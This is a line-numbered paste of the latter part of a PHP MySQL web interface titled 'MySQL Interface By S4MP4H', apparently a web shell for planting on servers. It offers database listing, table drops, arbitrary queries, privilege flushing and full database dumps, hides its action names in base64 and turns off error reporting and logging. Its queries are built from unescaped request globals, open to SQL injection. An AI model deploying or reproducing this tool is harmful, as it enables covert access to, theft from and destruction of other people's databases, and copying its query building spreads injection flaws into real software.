  709. echo "<td>$fieldname</td>";
  710. echo "<td>".$field["Type"]."</td>";
  711. echo "<td>\n";
  712. echo "<select name=${fieldname}_function>\n";
  713. echo "<option>\n";
  714. echo "<option>ASCII\n";
  715. echo "<option>CHAR\n";
  716. echo "<option>SOUNDEX\n";
  717. echo "<option>CURDATE\n";
  718. echo "<option>CURTIME\n";
  719. echo "<option>FROM_DAYS\n";
  720. echo "<option>FROM_UNIXTIME\n";
  721. echo "<option>NOW\n";
  722. echo "<option>PASSWORD\n";
  723. echo "<option>PERIOD_ADD\n";
  724. echo "<option>PERIOD_DIFF\n";
  725. echo "<option>TO_DAYS\n";
  726. echo "<option>USER\n";
  727. echo "<option>WEEKDAY\n";
  728. echo "<option>RAND\n";
  729. echo "</select>\n";
  730. echo "</td>\n";
  731. $value = htmlspecialchars($data[$i]);
  732. if( $cmd == "add" ) {
  733. $type = strtok( $fieldtype, " (,)\n" );
  734. if( $type == "enum" || $type == "set" ) {
  735. echo "<td>\n";
  736. if( $type == "enum" )
  737. echo "<select name=$fieldname>\n";
  738. else if( $type == "set" )
  739. echo "<select name=$fieldname size=4 multiple>\n";
  740. while( $str = strtok( "'" ) ) {
  741. echo "<option>$str\n";
  742. strtok( "'" );
  743. }
  744. echo "</select>\n";
  745. echo "</td>\n";
  746. } else {
  747. if( $len < 40 )
  748. echo "<td><input type=text size=40 maxlength=$len name=$fieldname></td>\n";
  749. else
  750. echo "<td><textarea cols=40 rows=3 maxlength=$len name=$fieldname></textarea>\n";
  751. }
  752. } else if( $cmd == "edit" ) {
  753. $type = strtok( $fieldtype, " (,)\n" );
  754. if( $type == "enum" || $type == "set" ) {
  755. echo "<td>\n";
  756. if( $type == "enum" )
  757. echo "<select name=$fieldname>\n";
  758. else if( $type == "set" )
  759. echo "<select name=$fieldname size=4 multiple>\n";
  760. while( $str = strtok( "'" ) ) {
  761. if( $value == $str )
  762. echo "<option selected>$str\n";
  763. else
  764. echo "<option>$str\n";
  765. strtok( "'" );
  766. }
  767. echo "</select>\n";
  768. echo "</td>\n";
  769. } else {
  770. if( $len < 40 )
  771. echo "<td><input type=text size=40 maxlength=$len name=$fieldname value=\"$value\"></td>\n";
  772. else
  773. echo "<td><textarea cols=40 rows=3 maxlength=$len name=$fieldname>$value</textarea>\n";
  774. }
  775. }
  776. echo "</tr>";
  777. }
  778. echo "</table><p>\n";
  779. if( $cmd == "add" )
  780. echo "<input type=submit value='Add Data'>\n";
  781. else if( $cmd == "edit" )
  782. echo "<input type=submit value='Edit Data'>\n";
  783. echo "<input type=button value='Cancel' onClick='history.back()'>\n";
  784. echo "</form>\n";
  785. }
  786.  
  787. function manageData_submit( $cmd ) {
  788. global $mysqlHandle, $dbname, $tablename, $fieldname, $PHP_SELF, $queryStr, $errMsg;
  789. $pResult = mysql_list_fields( $dbname, $tablename );
  790. $num = mysql_num_fields( $pResult );
  791. mysql_select_db( $dbname, $mysqlHandle );
  792. if( $cmd == "add" )
  793. $queryStr = "INSERT INTO $tablename VALUES (";
  794. else if( $cmd == "edit" )
  795. $queryStr = "REPLACE INTO $tablename VALUES (";
  796. for( $i = 0; $i < $num-1; $i++ ) {
  797. $field = mysql_fetch_field( $pResult );
  798. $func = $GLOBALS[$field->name."_function"];
  799. if( $func != "" )
  800. $queryStr .= " $func(";
  801. if( $field->numeric == 1 ) {
  802. $queryStr .= $GLOBALS[$field->name];
  803. if( $func != "" )
  804. $queryStr .= "),";
  805. else
  806. $queryStr .= ",";
  807. } else {
  808. $queryStr .= "'" . $GLOBALS[$field->name];
  809. if( $func != "" )
  810. $queryStr .= "'),";
  811. else
  812. $queryStr .= "',";
  813. }
  814. }
  815. $field = mysql_fetch_field( $pResult );
  816. if( $field->numeric == 1 )
  817. $queryStr .= $GLOBALS[$field->name] . ")";
  818. else
  819. $queryStr .= "'" . $GLOBALS[$field->name] . "')";
  820. mysql_query( $queryStr , $mysqlHandle );
  821. $errMsg = mysql_error();
  822. viewData( "" );
  823. }
  824.  
  825. function deleteData() {
  826. global $mysqlHandle, $dbname, $tablename, $fieldname, $PHP_SELF, $queryStr, $errMsg;
  827. $pResult = mysql_list_fields( $dbname, $tablename );
  828. $num = mysql_num_fields( $pResult );
  829. $key = "";
  830. for( $i = 0; $i < $num; $i++ ) {
  831. $field = mysql_fetch_field( $pResult, $i );
  832. if( $field->primary_key == 1 )
  833. if( $field->numeric == 1 )
  834. $key .= $field->name . "=" . $GLOBALS[$field->name] . " AND ";
  835. else
  836. $key .= $field->name . "='" . $GLOBALS[$field->name] . "' AND ";
  837. }
  838. $key = substr( $key, 0, strlen($key)-4 );
  839. mysql_select_db( $dbname, $mysqlHandle );
  840. $queryStr = "DELETE FROM $tablename WHERE $key";
  841. mysql_query( $queryStr, $mysqlHandle );
  842. $errMsg = mysql_error();
  843. viewData( "" );
  844. }
  845.  
  846. function fetch_table_dump_sql($table)
  847. {
  848. global $mysqlHandle,$dbname;
  849. mysql_select_db( $dbname, $mysqlHandle );
  850. $query_id = mysql_query("SHOW CREATE TABLE $table",$mysqlHandle);
  851. $tabledump = mysql_fetch_array($query_id, MYSQL_ASSOC);
  852. $tabledump = "DROP TABLE IF EXISTS $table;\n" . $tabledump['Create Table'] . ";\n\n";
  853. echo $tabledump;
  854. // get data
  855. $rows = mysql_query("SELECT * FROM $table",$mysqlHandle);
  856. $numfields=mysql_num_fields($rows);
  857. while ($row = mysql_fetch_array($rows, MYSQL_NUM))
  858. {
  859. $tabledump = "INSERT INTO $table VALUES(";
  860. $fieldcounter = -1;
  861. $firstfield = 1;
  862. // get each field's data
  863. while (++$fieldcounter < $numfields)
  864. {
  865. if (!$firstfield)
  866. {
  867. $tabledump .= ', ';
  868. }
  869. else
  870. {
  871. $firstfield = 0;
  872. }
  873. if (!isset($row["$fieldcounter"]))
  874. {
  875. $tabledump .= 'NULL';
  876. }
  877. else
  878. {
  879. $tabledump .= "'" . mysql_escape_string($row["$fieldcounter"]) . "'";
  880. }
  881. }
  882. $tabledump .= ");\n";
  883. echo $tabledump;
  884. }
  885. @mysql_free_result($rows);
  886. }
  887.  
  888. function dump() {
  889. global $mysqlHandle, $action, $dbname, $tablename;
  890. if( $action == "dumpTable" ){
  891. header("Content-disposition: filename=$tablename.sql");
  892. header('Content-type: unknown/unknown');
  893. fetch_table_dump_sql($tablename);
  894. echo "\n\n\n";
  895. echo "\r\n\r\n\r\n### $tablename TABLE DUMP COMPLETED ###";
  896. exit;
  897. }else{
  898. header("Content-disposition: filename=$dbname.sql");
  899. header('Content-type: unknown/unknown');
  900. mysql_select_db( $dbname, $mysqlHandle );
  901. $query_id = mysql_query("SHOW tables",$mysqlHandle);
  902. while ($row = mysql_fetch_array($query_id, MYSQL_NUM))
  903. {
  904. fetch_table_dump_sql($row[0]);
  905. echo "\n\n\n";
  906. echo "\r\n\r\n\r\n### $row[0] TABLE DUMP COMPLETED ###";
  907. echo "\n\n\n";
  908. }
  909. echo "\r\n\r\n\r\n### $dbname DATABASE DUMP COMPLETED ###";
  910. exit;
  911. }
  912. }
  913.  
  914. function utils() {
  915. global $PHP_SELF, $command;
  916. echo "<h1>Utilities</h1>\n";
  917. if( $command == "" || substr( $command, 0, 5 ) == "flush" ) {
  918. echo "<hr>\n";
  919. echo "Show\n";
  920. echo "<ul>\n";
  921. echo "<li><a href='$PHP_SELF?action=utils&command=show_status'>Status</a>\n";
  922. echo "<li><a href='$PHP_SELF?action=utils&command=show_variables'>Variables</a>\n";
  923. echo "<li><a href='$PHP_SELF?action=utils&command=show_processlist'>Processlist</a>\n";
  924. echo "</ul>\n";
  925. echo "Flush\n";
  926. echo "<ul>\n";
  927. echo "<li><a href='$PHP_SELF?action=utils&command=flush_hosts'>Hosts</a>\n";
  928. if( $command == "flush_hosts" ) {
  929. if( mysql_query( "Flush hosts" ) != false )
  930. echo "- Success";
  931. else
  932. echo "- Fail";
  933. }
  934. echo "<li><a href='$PHP_SELF?action=utils&command=flush_logs'>Logs</a>\n";
  935. if( $command == "flush_logs" ) {
  936. if( mysql_query( "Flush logs" ) != false )
  937. echo "- Success";
  938. else
  939. echo "- Fail";
  940. }
  941. echo "<li><a href='$PHP_SELF?action=utils&command=flush_privileges'>Privileges</a>\n";
  942. if( $command == "flush_privileges" ) {
  943. if( mysql_query( "Flush privileges" ) != false )
  944. echo "- Success";
  945. else
  946. echo "- Fail";
  947. }
  948. echo "<li><a href='$PHP_SELF?action=utils&command=flush_tables'>Tables</a>\n";
  949. if( $command == "flush_tables" ) {
  950. if( mysql_query( "Flush tables" ) != false )
  951. echo "- Success";
  952. else
  953. echo "- Fail";
  954. }
  955. echo "<li><a href='$PHP_SELF?action=utils&command=flush_status'>Status</a>\n";
  956. if( $command == "flush_status" ) {
  957. if( mysql_query( "Flush status" ) != false )
  958. echo "- Success";
  959. else
  960. echo "- Fail";
  961. }
  962. echo "</ul>\n";
  963. } else {
  964. $queryStr = ereg_replace( "_", " ", $command );
  965. $pResult = mysql_query( $queryStr );
  966. if( $pResult == false ) {
  967. echo "Fail";
  968. return;
  969. }
  970. $col = mysql_num_fields( $pResult );
  971. echo "<p class=location>$queryStr</p>\n";
  972. echo "<hr>\n";
  973. echo "<table cellspacing=1 cellpadding=2 border=0>\n";
  974. echo "<tr>\n";
  975. for( $i = 0; $i < $col; $i++ ) {
  976. $field = mysql_fetch_field( $pResult, $i );
  977. echo "<th>".$field->name."</th>\n";
  978. }
  979. echo "</tr>\n";
  980. while( 1 ) {
  981. $rowArray = mysql_fetch_row( $pResult );
  982. if( $rowArray == false ) break;
  983. echo "<tr>\n";
  984. for( $j = 0; $j < $col; $j++ )
  985. echo "<td>".htmlspecialchars( $rowArray[$j] )."</td>\n";
  986. echo "</tr>\n";
  987. }
  988. echo "</table>\n";
  989. }
  990. }
  991. function footer_html() {
  992. global $mysqlHandle, $dbname, $tablename, $PHP_SELF, $USERNAME;
  993. echo "<hr>\n";
  994. echo "<span class=\"new\">[$USERNAME]</span> - \n";
  995. echo "<a href='$PHP_SELF?action=bGlzdERCcw=='>Database List</a> | \n";
  996. if( $tablename != "" )
  997. echo "<a href='$PHP_SELF?action=listTables&dbname=$dbname&tablename=$tablename'>Table List</a> | ";
  998. echo "<a href='$PHP_SELF?action=utils'>Utils</a> |\n";
  999. echo "<a href='$PHP_SELF?action=logout'>Logout</a>\n";
  1000. }
  1001. //------------- MAIN ------------- //
  1002. error_reporting(0);
  1003. ini_set ('display_errors', 0);
  1004. ini_set ('log_errors', 0);
  1005. if( $action == "logon" || $action == "" || $action == "logout" )
  1006. logon();
  1007. else if( $action == "bG9nb25fc3VibWl0" )
  1008. logon_submit();
  1009. else if( $action == "dumpTable" || $action == "dumpDB" ) {
  1010. while( list($var, $value) = each($HTTP_COOKIE_VARS) ) {
  1011. if( $var == "mysql_web_admin_username" ) $USERNAME = $value;
  1012. if( $var == "mysql_web_admin_password" ) $PASSWORD = $value;
  1013. if( $var == "mysql_web_admin_hostname" ) $HOSTNAME = $value;
  1014. }
  1015. $mysqlHandle = @mysql_connect( $HOSTNAME.":3306", $USERNAME, $PASSWORD );
  1016. dump();
  1017. } else {
  1018. while( list($var, $value) = each($HTTP_COOKIE_VARS) ) {
  1019. if( $var == "mysql_web_admin_username" ) $USERNAME = $value;
  1020. if( $var == "mysql_web_admin_password" ) $PASSWORD = $value;
  1021. if( $var == "mysql_web_admin_hostname" ) $HOSTNAME = $value;
  1022. }
  1023. echo "<!--";
  1024. $mysqlHandle = @mysql_connect( $HOSTNAME.":3306", $USERNAME, $PASSWORD );
  1025. echo "-->";
  1026. if( $mysqlHandle == false ) {
  1027. echo "<table width=100% height=100%><tr><td><center>\n";
  1028. echo "<h1>Wrong Password!</h1>\n";
  1029. echo "<a href='$PHP_SELF?action=logon'>Logon</a>\n";
  1030. echo "</center></td></tr></table>\n";
  1031. } else {
  1032. if( $action == "bGlzdERCcw==" )
  1033. listDatabases();
  1034. else if( $action == "createDB" )
  1035. createDatabase();
  1036. else if( $action == "dropDB" )
  1037. dropDatabase();
  1038. else if( $action == "listTables" )
  1039. listTables();
  1040. else if( $action == "createTable" )
  1041. createTable();
  1042. else if( $action == "dropTable" )
  1043. dropTable();
  1044. else if( $action == "viewSchema" )
  1045. viewSchema();
  1046. else if( $action == "query" )
  1047. viewData( $queryStr );
  1048. else if( $action == "addField" )
  1049. manageField( "add" );
  1050. else if( $action == "addField_submit" )
  1051. manageField_submit( "add" );
  1052. else if( $action == "editField" )
  1053. manageField( "edit" );
  1054. else if( $action == "editField_submit" )
  1055. manageField_submit( "edit" );
  1056. else if( $action == "dropField" )
  1057. dropField();
  1058. else if( $action == "dmlld0RhdGE=" )
  1059. viewData( "" );
  1060. else if( $action == "addData" )
  1061. manageData( "add" );
  1062. else if( $action == "addData_submit" )
  1063. manageData_submit( "add" );
  1064. else if( $action == "editData" )
  1065. manageData( "edit" );
  1066. else if( $action == "editData_submit" )
  1067. manageData_submit( "edit" );
  1068. else if( $action == "deleteData" )
  1069. deleteData();
  1070. else if( $action == "utils" )
  1071. utils();
  1072. mysql_close( $mysqlHandle);
  1073. footer_html();
  1074. }
  1075. }
  1076. ?>
  1077. <html>
  1078. <head>
  1079. <title>MySQL Interface By S4MP4H</title>
  1080. <body bgColor=#000000 >
  1081. <style type="text/css">
  1082. <!--
  1083. p.location {
  1084. color: #00FF00;
  1085. }
  1086. h1, h2, h3 {
  1087. color: #00FF00;
  1088. }
  1089. th {
  1090. background-color: #222222;
  1091. color: #00FF00;
  1092. font-size: small;
  1093. }
  1094. td {
  1095. color: #00FF00;
  1096. background-color: #444444;
  1097. font-size: small;
  1098. }
  1099. form {
  1100. margin-top: 0;
  1101. margin-bottom: 0;
  1102. }
  1103. a {
  1104. text-decoration:none;
  1105. color: #00FF00;
  1106. font-size:small;
  1107. }
  1108. A:link {
  1109. COLOR:#FFFFFF;
  1110. TEXT-DECORATION: none
  1111. }
  1112. A:visited {
  1113. COLOR:#00FF00;
  1114. TEXT-DECORATION: none
  1115. }
  1116. A:active {
  1117. COLOR:#00FF00;
  1118. TEXT-DECORATION: none
  1119. }
  1120. A:hover {
  1121. color:#00FF00;
  1122. TEXT-DECORATION: none
  1123. }
  1124. input, select, textarea {
  1125. background-color: #000000;
  1126. border-style: solid;
  1127. font-family: Tahoma,Verdana,Arial,Sans-Serif;
  1128. font-size:small;
  1129. color: #00FF00;
  1130. padding: 0px;
  1131. }
  1132. li {
  1133. color: #00FF00;
  1134. }
  1135. .new {
  1136. color: #00FF00;
  1137. }
  1138. //-->
  1139. </style>
  1140. </head>
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement